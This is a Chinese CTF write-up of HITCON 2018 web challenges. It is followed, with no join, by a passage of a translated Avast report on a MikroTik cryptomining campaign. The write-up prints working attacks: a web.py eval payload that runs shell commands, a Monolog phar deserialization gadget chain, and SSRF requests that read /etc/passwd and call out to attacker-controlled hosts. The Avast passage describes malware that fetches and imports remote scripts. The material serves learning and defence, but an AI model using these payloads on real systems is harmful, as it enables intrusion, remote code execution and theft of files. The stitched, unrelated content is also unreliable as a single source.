代替空格，被坑了很久。。另外感谢评论区的师傅帮我纠正了这里的一个错误 orz）
为了加深理解，我们可以看上面这张对比图，可以看到，第一条的左右两个字符串，共同的子字符串为 `Bypassing W`，加密后的文本存在两个 8
字节的共同子串；第三条左右两个字符串共同字串为 `Bypassing`，对应处的共同子字符串仅为 1 个，所以很明显 W 是对应块的最后一个字母，然后可以从
W 开始倒着读 8 个字符，所以得到 `assing W`。
看了大佬们的解答，发现他们用的是另一个明密文对：`3ca92540eb2d0a42:0808080808080808`，即 DES padding
的字符和对应的密文。
然后我们可以写脚本进行爆破，由于脚本写的太慢就不往上贴了－_－^ 10min 单线程完全爆不动
后来看了 orange 大佬的解答才知道可以使用 hashcat 爆破，速度快多了（哭泣
.\hashcat64.exe -m 14000 42aa7c80bae5f78f:6e6a656374696f6e -a 3 '?l?l?l?l?l?l?l?l' --show
42aa7c80bae5f78f:6e6a656374696f6e:ldgonaro
直接提交发现 flag 错误，这是因为由于 DES 只使用了 64 bits 中的 56 bits
做校验，所以实际上每个字符存在着另一个等效的字符，由等效字符替换后的密钥依旧是有效的。所以我们可以爆破所有可能的 key
并提交（当然太粗暴了）。另一个思路是根据题目的提示 `P.S. If you fail in submitting the flag and want to
argue with author, read the source first!` 去获得题目的源代码。
我们观察到题目中实际上应该存在着三种链接，如
1. `06e77f2958b65ffd3ca92540eb2d0a42`，解密后的明文是 `m=p&l=100`
2. `59154ed9ef5129d081160c5f9882f57dcfd76f05f6ac8f1a38114a30fb1839a27fea88c412d9e1149dedcb1c01c0a6662a36d91fd8751e52ba939a65efbe150f9504247abb9fe6be24d3d4dcfda82306`，解密后的明文是 `u=f90b0983-23fc-42ae-a333-019b6593da75&m=r&t=An+Innovative+Phishing+Style`
3. `2e7e305f2da018a2cf8208fa1fefc238522c932a276554e5f8085ba33f9600b301c3c95652a912b0342653ddcdc4703e5975bd2ff6cc8a133ca92540eb2d0a42`，解密后的明文是 `m=d&f=uploads%2F70c97cc1-079f-4d01-8798-f36925ec1fd7.pdf`
很明显第三种链接能让我们下载对应的文件，因此我们构造 `m=d&f=app.py` 对应的密文
`e2272b36277c708bc21066647bc214b8`，成功获得源代码：
# coding: UTF-8
import os
import web
import urllib
import urlparse
from Crypto.Cipher import DES
web.config.debug = False
ENCRPYTION_KEY = 'megnnaro'
urls = (
'/', 'index'
)
app = web.application(urls, globals())
db = web.database(dbn='sqlite', db='db.db')
def encrypt(s):
length = DES.block_size - (len(s) % DES.block_size)
s = s + chr(length)*length
cipher = DES.new(ENCRPYTION_KEY, DES.MODE_ECB)
return cipher.encrypt(s).encode('hex')
def decrypt(s):
try:
data = s.decode('hex')
cipher = DES.new(ENCRPYTION_KEY, DES.MODE_ECB)
data = cipher.decrypt(data)
data = data[:-ord(data[-1])]
return dict(urlparse.parse_qsl(data))
except Exception as e:
print e.message
return {}
def get_posts(limit=None):
records = []
for i in db.select('posts', limit=limit, order='ups desc'):
tmp = {
'm': 'r',
't': i.title.encode('utf-8', 'ignore'),
'u': i.id,
}
tmp['param'] = encrypt(urllib.urlencode(tmp))
tmp['ups'] = i.ups
if i.file:
tmp['file'] = encrypt(urllib.urlencode({'m': 'd', 'f': i.file}))
else:
tmp['file'] = ''
records.append( tmp )
return records
def get_urls():
urls = []
for i in [10, 100, 1000]:
data = {
'm': 'p',
'l': i
}
urls.append( encrypt(urllib.urlencode(data)) )
return urls
class index:
def GET(self):
s = web.input().get('s')
if not s:
return web.template.frender('templates/index.html')(get_posts(), get_urls())
else:
s = decrypt(s)
method = s.get('m', '')
if method and method not in list('rdp'):
return 'param error'
if method == 'r':
uid = s.get('u')
record = db.select('posts', where='id=$id', vars={'id': uid}).first()
if record:
raise web.seeother(record.url)
else:
return 'not found'
elif method == 'd':
file = s.get('f')
if not os.path.exists(file):
return 'not found'
name = os.path.basename(file)
web.header('Content-Disposition', 'attachment; filename=%s' % name)
web.header('Content-Type', 'application/pdf')
with open(file, 'rb') as fp:
data = fp.read()
return data
elif method == 'p':
limit = s.get('l')
return web.template.frender('templates/index.html')(get_posts(limit), get_urls())
else:
return web.template.frender('templates/index.html')(get_posts(), get_urls())
if __name__ == "__main__":
app.run()
所以 flag 为 `hitcon{megnnaro}`
## Oh My Raddit v2
首先看第二题的提示 `Give me SHELL!!!`，很明显考点是 getshell，所以第一步是代码审计。
可以看到使用的是 web.py 框架，然后根据获得的 requirements.txt 可以得到版本为 0.38。
然后再看代码，题目只处理 GET 请求，然后根据 `?s=` 后跟的参数的不同，有三种不同的处理方式：
1. `r`: 根据网页的 id 获得 url 并构造 303 响应
2. `d`：根据文件名读取文件
3. `p`：根据参数获得渲染首页
第一步想到的思路是直接构造 `{'m':'d','f':'/flag'}` 来阅读 flag 文件，发现被禁止了（毕竟本题考点是
getshell），那么下一步还是需要思考如何 getshell。
可以搜到相应的文章：[Remote Code Execution in Web.py
framework](https://securityetalii.es/2014/11/08/remote-code-execution-in-web-py-framework/)（ps：其实比赛的时候根本没搜到，看了 orange 的说明才找到的，还是太菜了
问题出在 web.py 的 db 部分，可能让用户注入代码，存在问题的代码如下：
def reparam(string_, dictionary):
"""
Takes a string and a dictionary and interpolates the string
using values from the dictionary. Returns an `SQLQuery` for the result.
>>> reparam("s = $s", dict(s=True))
<sql: "s = 't'">
>>> reparam("s IN $s", dict(s=[1, 2]))
<sql: 's IN (1, 2)'>
"""
dictionary = dictionary.copy() # eval mucks with it
vals = []
result = []
for live, chunk in _interpolate(string_):
if live:
v = eval(chunk, dictionary)
result.append(sqlquote(v))
else:
result.append(chunk)
return SQLQuery.join(result, '')
这个 `eval` 函数真的时非常明显了……根据作者描述：`The entry points to reparam() are functions
_where(), query(), and gen_clause()`，那么对应到本题中的则是 `get_posts` 函数中的 `db.select`
操作，尝试构造：`{'m':'p','l':'$__import__("os").system("ls > /tmp/ls.txt")'}`，发现显示
invalid。
那么继续看文章，发现在该版本已经修复了这种写法，然后用文章中提到的新的方式成功绕过并执行代码：
{'m':'p','l':'${(lambda getthem=([x for x in ().__class__.__base__.__subclasses__() if x.__name__=="catch_warnings"][0]()._module.__builtins__):getthem["__import__"]("os").system("ls -al / > /tmp/1.txt"))()}'}
这里需要注意的由于我们不能直接看到回显，所以需要把需要显示的数据写到文件中，通过构造 `{'m':'d','f':'/tmp/1.txt'}`
来下载我们写入的文件。
total 104
drwxr-xr-x 23 root root 4096 Oct 16 08:18 .
drwxr-xr-x 23 root root 4096 Oct 16 08:18 ..
drwxr-xr-x 2 root root 4096 Sep 12 15:59 bin
drwxr-xr-x 3 root root 4096 Oct 10 06:46 boot
drwxr-xr-x 15 root root 2980 Oct 8 18:13 dev
drwxr-xr-x 91 root root 4096 Oct 11 16:05 etc
-r-------- 1 root root 47 Oct 16 08:15 flag
drwxr-xr-x 4 root root 4096 Oct 11 16:02 home
lrwxrwxrwx 1 root root 31 Oct 10 06:46 initrd.img -> boot/initrd.img-4.15.0-1023-aws
lrwxrwxrwx 1 root root 31 Sep 12 16:16 initrd.img.old -> boot/initrd.img-4.15.0-1021-aws
drwxr-xr-x 20 root root 4096 Oct 11 15:27 lib
drwxr-xr-x 2 root root 4096 Sep 12 15:56 lib64
drwx------ 2 root root 16384 Sep 12 16:10 lost+found
drwxr-xr-x 2 root root 4096 Sep 12 15:55 media
drwxr-xr-x 2 root root 4096 Sep 12 15:55 mnt
drwxr-xr-x 2 root root 4096 Sep 12 15:55 opt
dr-xr-xr-x 127 root root 0 Oct 8 18:13 proc
-rwsr-sr-x 1 root root 8568 Oct 16 08:18 read_flag
drwx------ 4 root root 4096 Oct 16 08:18 root
drwxr-xr-x 26 root root 1000 Oct 22 06:21 run
drwxr-xr-x 2 root root 4096 Oct 10 06:46 sbin
drwxr-xr-x 5 root root 4096 Oct 8 18:13 snap
drwxr-xr-x 2 root root 4096 Sep 12 15:55 srv
dr-xr-xr-x 13 root root 0 Oct 16 08:18 sys
drwxrwxrwt 12 root root 4096 Oct 22 09:33 tmp
drwxr-xr-x 10 root root 4096 Sep 12 15:55 usr
drwxr-xr-x 14 root root 4096 Oct 11 15:58 var
lrwxrwxrwx 1 root root 28 Oct 10 06:46 vmlinuz -> boot/vmlinuz-4.15.0-1023-aws
lrwxrwxrwx 1 root root 28 Sep 12 16:16 vmlinuz.old -> boot/vmlinuz-4.15.0-1021-aws
根据我们列出的根目录，很明显只要执行 `read_flag` 就能读到 flag，所以继续构造：
# exec
{'m':'p','l':'${(lambda getthem=([x for x in ().__class__.__base__.__subclasses__() if x.__name__=="catch_warnings"][0]()._module.__builtins__):getthem["__import__"]("os").system("/read_flag / > /tmp/1.txt"))()}'}
# read flag
{'m':'d','f':'/tmp/1.txt'}
即可获得 flag：`hitcon{Fr0m_SQL_Injecti0n_t0_Shell_1s_C00L!!!}`
## BabyCake
赛后学习的一道题目，代码审计的能力还是太弱了（。_。）参考了 PDKT-Team 的 [writeup](https://github.com/PDKT-Team/ctf/tree/master/hitcon2018/baby-cake)，该解答讲的非常清晰，值得一看。
题目直接给了本题源码： <http://13.230.134.135/webroot/baby_cake.tgz>
访问题目所给的 demo 页面，可以看到和正常的页面相比，多了 `<!-- from cache
-->`，可以由此来定位源代码：`src/ControllerPagesController.php`:
<?php
namespace App\Controller;
use Cake\Core\Configure;
use Cake\Http\Client;
use Cake\Http\Exception\ForbiddenException;
use Cake\Http\Exception\NotFoundException;
use Cake\View\Exception\MissingTemplateException;
class DymmyResponse {
function __construct($headers, $body) {
$this->headers = $headers;
$this->body = $body;
}
}
class PagesController extends AppController {
private function httpclient($method, $url, $headers, $data) {
$options = [
'headers' => $headers,
'timeout' => 10
];
$http = new Client();
return $http->$method($url, $data, $options);
}
private function back() {
return $this->render('pages');
}
private function _cache_dir($key){
$ip = $this->request->getEnv('REMOTE_ADDR');
$index = sprintf('mycache/%s/%s/', $ip, $key);
return CACHE . $index;
}
private function cache_set($key, $response) {
$cache_dir = $this->_cache_dir($key);
if ( !file_exists($cache_dir) ) {
mkdir($cache_dir, 0700, true);
file_put_contents($cache_dir . "body.cache", $response->body);
file_put_contents($cache_dir . "headers.cache", serialize($response->headers));
}
}
private function cache_get($key) {
$cache_dir = $this->_cache_dir($key);
if (file_exists($cache_dir)) {
$body = file_get_contents($cache_dir . "/body.cache");
$headers = file_get_contents($cache_dir . "/headers.cache");
$body = "<!-- from cache -->\n" . $body;
$headers = unserialize($headers);
return new DymmyResponse($headers, $body);
} else {
return null;
}
}
public function display(...$path) {
$request = $this->request;
$data = $request->getQuery('data');
$url = $request->getQuery('url');
if (strlen($url) == 0)
return $this->back();
$scheme = strtolower( parse_url($url, PHP_URL_SCHEME) );
if (strlen($scheme) == 0 || !in_array($scheme, ['http', 'https']))
return $this->back();
$method = strtolower( $request->getMethod() );
if ( !in_array($method, ['get', 'post', 'put', 'delete', 'patch']) )
return $this->back();
$headers = [];
foreach ($request->getHeaders() as $key => $value) {
if (in_array( strtolower($key), ['host', 'connection', 'expect', 'content-length'] ))
continue;
if (count($value) == 0)
continue;
$headers[$key] = $value[0];
}
$key = md5($url);
if ($method == 'get') {
$response = $this->cache_get($key);
if (!$response) {
$response = $this->httpclient($method, $url, $headers, null);
$this->cache_set($key, $response);
}
} else {
$response = $this->httpclient($method, $url, $headers, $data);
}
foreach ($response->headers as $key => $value) {
if (strtolower($key) == 'content-type') {
$this->response->type(array('type' => $value));
$this->response->type('type');
continue;
}
$this->response->withHeader($key, $value);
}
$this->response->body($response->body);
return $this->response;
}
}
简单梳理题目的处理逻辑：
首先题目只支持 `http` \ `https` 两种协议， 和 `get` \ `post` \ `put` \ `delete` \ `patch`
等五种方法。
继续看 `display` 函数，`$data = $request->getQuery('data');` 和 `$url =
$request->getQuery('url');` 从 querystring 中获得了需要访问的 url，已经需要传递的
data。随后该函数会根据方法的不同尝试不同的调用：
if ($method == 'get') {
$response = $this->cache_get($key);
if (!$response) {
$response = $this->httpclient($method, $url, $headers, null);
$this->cache_set($key, $response);
}
} else {
$response = $this->httpclient($method, $url, $headers, $data);
}
如果调用的方法是 `get`，函数先会尝试调用 `$this->cache_get($key);`，可以看到我们在之前注意到的注释就是在这里添加的：
`$body = "<!-- from cache -->\n" . $body;` 。该函数还有一个需要注意的点是一个反序列化的操作：
`unserialize($headers);`，一般反序列化的操作在 CTF 题目中都是相当重要的考点，本题也不例外，虽然考察的点不在此处。
然后如果 `response` 为空的话，说明缓存不存在，程序会调用自身的 http clinet 去请求相应内容
`$this->httpclient($method, $url, $headers, null);`，然后将相应的 response 缓存
`$this->cache_set($key, $response);`。这里需要注意的是，`cache_set` 函数中会将相应的 header
序列化保存 `file_put_contents($cache_dir . "headers.cache",
serialize($response->headers));`。
如果调用的方法是 `post` 等其他方法的话，程序会直接调用自身的 http clinet 去请求相应内容。
然后向下看 cakephp 中对应 http client 的源码 `vendor/cakephp/cakephp/src/Http/Client.php`
可以看到源码中对一个请求的调用顺序如下：
1. 首先调用 `post($url, $data = [], array $options = [])`
2. 然后该函数会继续调用 `_doRequest($method, $url, $data, $options)`
3. 紧接着该函数会通过 `$this->_createRequest($method, $url, $data, $options);` 构造 `$request` 对象
然后继续定位到 `vendor/cakephp/cakephp/src/Http/Client/Request.php`，可以看到构造函数会对我们传入的
data 做处理：
public function __construct($url = '', $method = self::METHOD_GET, array $headers = [], $data = null)
{
$this->validateMethod($method);
$this->method = $method;
$this->uri = $this->createUri($url);
$headers += [
'Connection' => 'close',
'User-Agent' => 'CakePHP'
];
$this->addHeaders($headers);
$this->body($data);
}
...
public function body($body = null)
{
if ($body === null) {
$body = $this->getBody();
return $body ? $body->__toString() : '';
}
if (is_array($body)) {
$formData = new FormData();
$formData->addMany($body);
$this->header('Content-Type', $formData->contentType());
$body = (string)$formData;
}
$stream = new Stream('php://memory', 'rw');
$stream->write($body);
$this->stream = $stream;
return $this;
}
我们可以看到，如果我们传入的 data 是数组类型的话，会调用
`vendor/cakephp/cakephp/src/Http/Client/FormData.php` 中定义的 `addMany`
函数，`addMany` 会逐次调用 `add` 函数，问题就出在 `add` 处，我们继续看源码：
public function add($name, $value = null)
{
if (is_array($value)) {
$this->addRecursive($name, $value);
} elseif (is_resource($value)) {
$this->addFile($name, $value);
} elseif (is_string($value) && strlen($value) && $value[0] === '@') {
trigger_error(
'Using the @ syntax for file uploads is not safe and is deprecated. ' .
'Instead you should use file handles.',
E_USER_DEPRECATED
);
$this->addFile($name, $value);
} elseif ($name instanceof FormDataPart && $value === null) {
$this->_hasComplexPart = true;
$this->_parts[] = $name;
} else {
$this->_parts[] = $this->newPart($name, $value);
}
return $this;
}
可以看到如果开头第一个字符是 `@` 的话，cakephp 会调用 `addFile` 函数，而很明显 `addFile` 可以访问本地的文件：
public function addFile($name, $value)
{
$this->_hasFile = true;
$filename = false;
$contentType = 'application/octet-stream';
if (is_resource($value)) {
$content = stream_get_contents($value);
if (stream_is_local($value)) {
$finfo = new finfo(FILEINFO_MIME);
$metadata = stream_get_meta_data($value);
$contentType = $finfo->file($metadata['uri']);
$filename = basename($metadata['uri']);
}
} else {
$finfo = new finfo(FILEINFO_MIME);
$value = substr($value, 1);
$filename = basename($value);
$content = file_get_contents($value);
$contentType = $finfo->file($value);
}
$part = $this->newPart($name, $content);
$part->type($contentType);
if ($filename) {
$part->filename($filename);
}
$this->add($part);
return $part;
}
可以看到这里我们可以控制 `file_get_contents` 的参数，参数是我们传入的 `?data` 所对应的值，所以这里存在着一个
SSRF，但最终考点不在这里。可起码我们确实可以控制 Server 去访问指定的 url，如：
`POST
http://13.230.134.135/?url=http://5ax2cw.ceye.io/&data[test]=@file:///etc/passwd`
可以在 post data 处看到我们希望读取的文件：
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin pollinate:x:110:1::/var/cache/pollinate:/bin/false
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
orange:x:1001:1001:,,,:/home/orange:/bin/bash
然后就是今年非常火的 `phar://` 协议的反序列化问题，我们可以通过该协议触发反序列化操作进而 getshell。大致思路如下：
1. 构造相应的 payload
2. 将相应的 payload 放入某个 phar 文件中，并放到我们的服务器上
3. 通过题目提供的功能访问我们服务器上的 phar 文件，此时相应文件被写入缓存中，具体路径为 `/var/www/html/tmp/cache/mycache/CLIENT_IP/MD5(http://IP/xxz.phar)/body.cache`
4. 通过 `post` 请求 `phar://` 协议的反序列化进而触发我们的 payload
如何构造可以使用
<https://github.com/ambionics/phpggc/blob/master/gadgetchains/Monolog/RCE/1/gadgets.php>
进行构造，这里贴上 PDKT-Team 所使用的 payload：
<?php
namespace Monolog\Handler
{
class SyslogUdpHandler
{
protected $socket;
function __construct($x)
{
$this->socket = $x;
}
}
class BufferHandler
{
protected $handler;
protected $bufferSize = -1;
protected $buffer;
# ($record['level'] < $this->level) == false
protected $level = null;
protected $initialized = true;
# ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) == false
protected $bufferLimit = -1;
protected $processors;
function __construct($methods, $command)
{
$this->processors = $methods;
$this->buffer = [$command];
$this->handler = clone $this;
}
}
}
namespace{
$cmd = "ls -alt";
$obj = new \Monolog\Handler\SyslogUdpHandler(
new \Monolog\Handler\BufferHandler(
['current', 'system'],
[$cmd, 'level' => null]
)
);
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test', 'test');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($obj);
$phar->stopBuffering();
}
然后我们将构造好的 `exploit.phar` 放到我们的服务器上，再通过 get 请求将其写入缓存：
GET http://13.230.134.135/?url=http://IP/exploit.phar
然后调用 post 请求触发反序列化操作：
POST http://13.230.134.135/?url=http://IP&data[test]=@phar:///var/www/html/tmp/cache/mycache/CLIENT_IP/MD5(http://IP/exploit.phar)/body.cache
ps: 我在复现的时候，将 `$cmd = "ls -alt"` 改写成了 `$cmd = "ls -al / >
/tmp/ls.txt"`，因为我发现直接调用的时候无法看到回显，只能通过这种间接的方式再读一次回显。
total 104
drwxr-xr-x 26 root root 1000 Oct 21 11:08 run
drwxrwxrwt 2 root root 4096 Oct 21 06:25 tmp
-rwsr-sr-x 1 root root 8568 Oct 18 19:53 read_flag
drwxr-xr-x 23 root root 4096 Oct 18 19:53 .
drwxr-xr-x 23 root root 4096 Oct 18 19:53 ..
drwx------ 5 root root 4096 Oct 18 17:12 root
drwxr-xr-x 90 root root 4096 Oct 18 11:23 etc
dr-xr-xr-x 13 root root 0 Oct 16 07:57 sys
-r-------- 1 root root 54 Oct 15 19:49 flag
drwxr-xr-x 4 root root 4096 Oct 15 19:41 home
drwxr-xr-x 3 root root 4096 Oct 9 06:07 boot
lrwxrwxrwx 1 root root 31 Oct 9 06:07 initrd.img -> boot/initrd.img-4.15.0-1023-aws
lrwxrwxrwx 1 root root 28 Oct 9 06:07 vmlinuz -> boot/vmlinuz-4.15.0-1023-aws
drwxr-xr-x 2 root root 4096 Oct 9 06:07 sbin
lrwxrwxrwx 1 root root 14 Oct 8 17:14 www -> /var/www/html/
drwxr-xr-x 14 root root 4096 Oct 8 17:13 var
drwxr-xr-x 5 root root 4096 Oct 8 17:06 snap
drwxr-xr-x 15 root root 2980 Oct 8 17:06 dev
dr-xr-xr-x 136 root root 0 Oct 8 17:06 proc
lrwxrwxrwx 1 root root 31 Sep 12 16:16 initrd.img.old -> boot/initrd.img-4.15.0-1021-aws
lrwxrwxrwx 1 root root 28 Sep 12 16:16 vmlinuz.old -> boot/vmlinuz-4.15.0-1021-aws
drwxr-xr-x 20 root root 4096 Sep 12 16:16 lib
drwx------ 2 root root 16384 Sep 12 16:10 lost+found
drwxr-xr-x 2 root root 4096 Sep 12 15:59 bin
drwxr-xr-x 2 root root 4096 Sep 12 15:56 lib64
drwxr-xr-x 10 root root 4096 Sep 12 15:55 usr
drwxr-xr-x 2 root root 4096 Sep 12 15:55 media
drwxr-xr-x 2 root root 4096 Sep 12 15:55 opt
drwxr-xr-x 2 root root 4096 Sep 12 15:55 mnt
drwxr-xr-x 2 root root 4096 Sep 12 15:55 sr
可以看到同上一题一样，flag 文件没有直接读取的权限，但能通过运行 read_flag 的方式获得 flag:
`hitcon{smart_implementation_of_CURLOPT_SAFE_UPLOAD><}`
用 orange 提供的 solution 来简单概括一下：
# arbitrary file read, listen port 12345 on your server
http://13.230.134.135/
?url=http://your_ip:12345/
&data[x]=@/etc/passwd
# arbitrary de-serialization the Monolog POP chain
http://13.230.134.135/
?url=http://your_ip:12345/
&data[x]=@phar://../tmp/cache/mycache/[you_ip]/[md5_of_url]/body.cache
题目中存在任意文件读取，然后我们先构造好 payload，使其写入缓存，然后再通过 `phar://` 协议触发的反序列化操作 getshell，为所欲为。
ps：写完后发现 zsx 写了篇深入讲解 `phar://` 的文章，实在是值得一读：<https://xz.aliyun.com/t/2958>
（默默地膜
## PS
orange 出的题实在是有难度，还剩下两题看他的三言两语还是无法领悟，只能期待更详细的 writeup 了，如果能侥幸学会了就继续补充（逃
## 参考
* [My CTF Web Challenges](https://github.com/orangetw/My-CTF-Web-Challenges)
* [Remote Code Execution in Web.py framework](https://securityetalii.es/2014/11/08/remote-code-execution-in-web-py-framework/)
* [HITCON2018-WP-By Nu1L](https://xz.aliyun.com/t/2953)
* [Baby Cake](https://github.com/PDKT-Team/ctf/tree/master/hitcon2018/baby-cake)
* [Phar与Stream Wrapper造成PHP RCE的深入挖掘](https://xz.aliyun.com/t/2958) | 社区文章 |
# 连上路由器就挖矿：利用MikroTik漏洞的挖矿活动分析报告
##### 译文声明
本文是翻译文章，文章原作者 Avast，文章来源：avast.com
原文地址：<https://blog.avast.com/mikrotik-routers-targeted-by-cryptomining-campaign-avast>
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
在今年4月，公开披露了MikroTik的一个漏洞CVE-2018-14847，同时厂商也发布了相应补丁。然而，这一漏洞在披露之后很快被黑客利用，主要用来进行加密货币的挖掘。在9月19日至10月15日期间，Avast有效阻止了受该漏洞影响导致的MikroTik网关恶意挖矿URL连接事件超过22.4万次。在部署Avast的292456个网络上，共计有效保护超过362616位用户。我们将该挖矿恶意活动检测为JS:InfectedMikroTik。
近期，Avast Threat
Labs对该恶意软件进行了更深入的分析，最终确定了两台C&C服务器，并提升了相应防护能力。针对这一恶意活动，最主要的特点之一就是在7月下旬首次发现后具有较长时间的持久性。经过仔细分析后，我们发现了此前没有重点关注的一些技术细节：该恶意软件使用了几种独特的技术，控制数十万个网络的计算能力，确保在感染的路由器中具有持久性。
除了对该恶意活动进行分析之外，本文还将说明如何确认自己的路由器是否受到影响，以及如何保护网络免受该漏洞影响。
## 日益加剧的挖矿攻击活动
随着加密货币的使用范围日益扩大，再加上目前可以通过JavaScript在浏览器中实现挖掘加密货币，上述两点因素都推动了挖矿恶意软件数量的显著增加。越来越多的网络犯罪分子，借助企业或个人用户计算机设备的资源来挖掘加密货币。
对于攻击者来说，任何具有计算能力的设备都有吸引力，而其中一个最为明显的目标就是路由器。几乎是每个家庭以及每个企业中，都会有路由器，而且路由器经常会产生因弱密码或已知漏洞而导致的安全问题。
有人可能认为，该恶意活动只会使用路由器的计算能力来挖掘加密货币，然而事实并非如此。实际上，恶意软件会充分利用所有连接到被感染路由器的设备，可以运行在这些设备的浏览器上，可以在计算机、智能手机、智能电视上运行。更严重的问题在于，一旦路由器遭到入侵，用户甚至无法确认威胁的来源。
在研究过程中，我们对其中一个受感染的路由器进行分析，并调查和分析该恶意活动的运作方式。接下来，我们将详细阐述分析的内容。
Avast阻止MikroTik路由器攻击的地理位置分布图：
JS:InfectedMikroTik主要针对的十大国家：
1、巴西（85230）
2、波兰（43677）
3、印度尼西亚（27102）
4、阿根廷（24255）
5、哥伦比亚（15300）
6、土耳其（15144）
7、印度（11809）
8、乌克兰（11614）
9、孟加拉国（9867）
10、委内瑞拉（9527）
## 引起关注的推文
在看到Twitter用户Bad Packets Report（[@bad_packets](https://github.com/bad_packets
"@bad_packets")）发布的推文后，我们决定对这一挖矿恶意活动进行分析。在他的推文中，提到大约有25万个受漏洞影响的路由器，并且目前这一恶意活动没有得到充分的关注。
这条推文引起了我们的关注，所以我们决定更深入地找出其根本原因。通过多个消息来源，我们发现其原因在于WinBox协议中存在漏洞，该协议是一个路由器的GUI控制面板，其中存在CVE-2018-14847漏洞。然而，我们相信路由器也受到该漏洞的影响，因为其所有者没有对初始密码进行修改，或者使用了弱密码。
在使用Avast进行防护的设备中，大约有314000个MikroTik路由器，其中只有4.89%使用MikroTik的最新固件进行更新并修复了这一漏洞，有85.48%的设备容易受到Winbox漏洞利用攻击。
## 攻击方法及初步调查结果
我们开始对易受攻击和已感染的路由器进行扫描，发现这些设备具有一个共同点，就是作为Web代理的TCP/8080端口是开放的。我们可以在路由器的网络接口中发现一个开放的端口，并且，在连接到路由器代理后，其行为模式非常值得关注。
一个经过精心设计的错误提示页面，在显示用户实际尝试访问的Web内容之前，运行加密货币挖掘工具：
当用户尝试通过TCP 80端口，在被感染的路由器上访问以 http:// 开头的任意URL时，将会显示一个错误代码为403
Forbidden的自定义错误页面，其中包含上述HTML代码。仔细观察代码后，我们可以注意到，该过程试图运行一个脚本：
在针对几个不同程度的混淆进行反混淆之后，我们发现该脚本启动了一个在浏览器中运行的JavaScript加密货币挖掘工具。有趣的是，最初需要访问的网页将在10毫秒后重新加载到iframe元素中，因此用户可以通过iframe看到原始内容，同时挖矿程序在后台运行。这样一来，用户将会浏览到想要访问的内容，甚至对后台运行挖矿程序的事情毫不知情。
那么，同一个URL如何做到在10毫秒后显示真实内容，而不是再次启动挖矿呢？要了解其工作原理，我们需要深入了解MikroTik路由器的配置。因此，我们获得了配置脚本，并针对这一挖矿活动对MikroTik路由器进行了相应配置。接下来，我们详细分析该恶意活动的攻击过程。
## 攻击向量
该恶意活动，首先利用高危漏洞CVE-2018-14847实现对路由器的感染，该漏洞允许攻击者在未经授权的情况下，无需用户交互，即可访问路由器上的任意文件。在这种情况下，攻击者将目标瞄准了包含凭据的数据库文件，从而能够登录到设备上。
在这里，需要提醒大家，一定不要通过开放端口的方式，将管理界面暴露到互联网上。尽管这是一个高危漏洞，但假如攻击者不能访问管理界面，就无法利用这一漏洞。在我们的案例中，WinBox的TCP/8291端口容易受到攻击。因此，建议用户如果不需要通过网络远程管理路由器，应该关闭TCP/21的FTP端口、TCP/22的SSH端口、TCP/23的TELNET服务端口以及TCP/8291端口。
通过结合上述漏洞和弱口令，攻击者能够访问路由器，并执行多个阶段的攻击。攻击者的第一步是在路由器上放置一个脚本，该脚本计划每5分钟运行一次，从命令和控制（C&C）域名的/cmd-update.txt路径下载相应文件，并将其存储在路由器上，命名为i113.rsc。随后，通过/import命令来执行该文件：
在随后的阶段中，将会运行名为i113.rsc的脚本。6秒后，该脚本将被删除。由于这个脚本较长，所以我们只关注其中的几个重要部分：
首先，脚本尝试删除在路由器上运行的任何计划任务或其他脚本，包括规则、计划等等。这一部分有一个很长的列表，其中包含各种各样的脚本名称。我们认为，攻击者用了很长的一段时间来编写这个列表，并且仍然在不断调整其中的条目。
接下来，它将用于TELNET和SSH访问协议的端口重新映射到异常的端口，以防止恶意行为被检测到，同时防止其他人连接到路由器的管理端口。如果这些端口暂未启用，恶意软件将会将这些端口开放到网络上。正如大家在我们的分析中所看到的，在最初的脚本中，并没有这一部分。
下一步，是重置代理错误页面，该页面随后用于挖矿程序Payload的加载，同时启动Web代理。在其中，还添加了一条规则，以确保拒绝对该代理的任何其他请求，并将状态为403
Forbidden的error.html内容返回给用户。
现在，我们来到了最重要的一步，恶意软件添加了防火墙规则，将每次连接到TCP/80端口的尝试重定向到TCP/8080（Web代理）。这样一来，会将网络中任何计算机和其他设备向其发送的所有请求，通过Web代理重定向到不安全的网页（HTTP）。
请注意，src-address-list=!Ok是一个非常重要的细节。基本上，只有当发出请求计算机的IP地址不在!OK列表内时，才会触发这一规则。我们将在后面分析其具体原因。
这是该恶意活动的另一个关键代码，如果请求被重定向到代理，其源地址（也就是发出请求的IP地址）将会被添加到!OK列表中，并保留15秒。
